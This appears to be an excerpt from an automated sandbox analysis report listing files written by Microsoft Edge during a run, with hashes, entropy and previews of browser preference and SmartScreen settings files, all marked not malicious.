Entropy (8bit):	5.564107084985971
Encrypted:	false
SSDEEP:	768:hDEvH0WPWwfZ48F1+UoAYDCx9Tuqh0VfUC9xbog/OVgBi2lrwXomozpctuy:hDEvH0WPWwfZ4u1jaFs2O4kth
MD5:	423EB1D28E8EB347FC4F4E7010685B96
SHA1:	3942B6E2C4BC7B08E8618A4514E4F9349335AAD6
SHA-256:	CC7730F386EE537820378455C495F7F068F08779C084E0AFE65A8912707AA682
SHA-512:	E5AEA6D89A46D66F99981D1E9AEBEC26FF1D46116A095BAC92A860C6DA342F34BB6BF8174E26C493ABA78CC160430810D20461D312C65B7A56684BBC9F383FE0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377254137332647","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377254137332647","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f68be753-e81f-40fc-977e-8a5c0388b06d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17173), with no line terminators
Category:	dropped
Size (bytes):	17175
Entropy (8bit):	5.494809097578387
Encrypted:	false
SSDEEP:	384:st9CPGQSu4DFsieXznYMTdFmDJlTmbGzQwEB7NI2:smOXuIexJbGsHF
MD5:	BA79B406DD0B71921545213EDE3CEE6C
SHA1:	0F41E8B5267952F085CF122C0301500CFD33A3B2
SHA-256:	7FF5CDF430860BCDA503A1B3ADB661212D6CB11B8134C82BBB4FA7F08B06D6C3
SHA-512:	CFD6AE182D0B3D2CAE0E985F1A22973E4C7689BDF7378426CF9B6C654909BC3EB69A0FA8A4861B0755FF4C881A30641A4DB077A2BAB6BB754DC65B490134D227
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28cb5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28ce4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28ee8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b55c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30282.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39f3f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4003b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
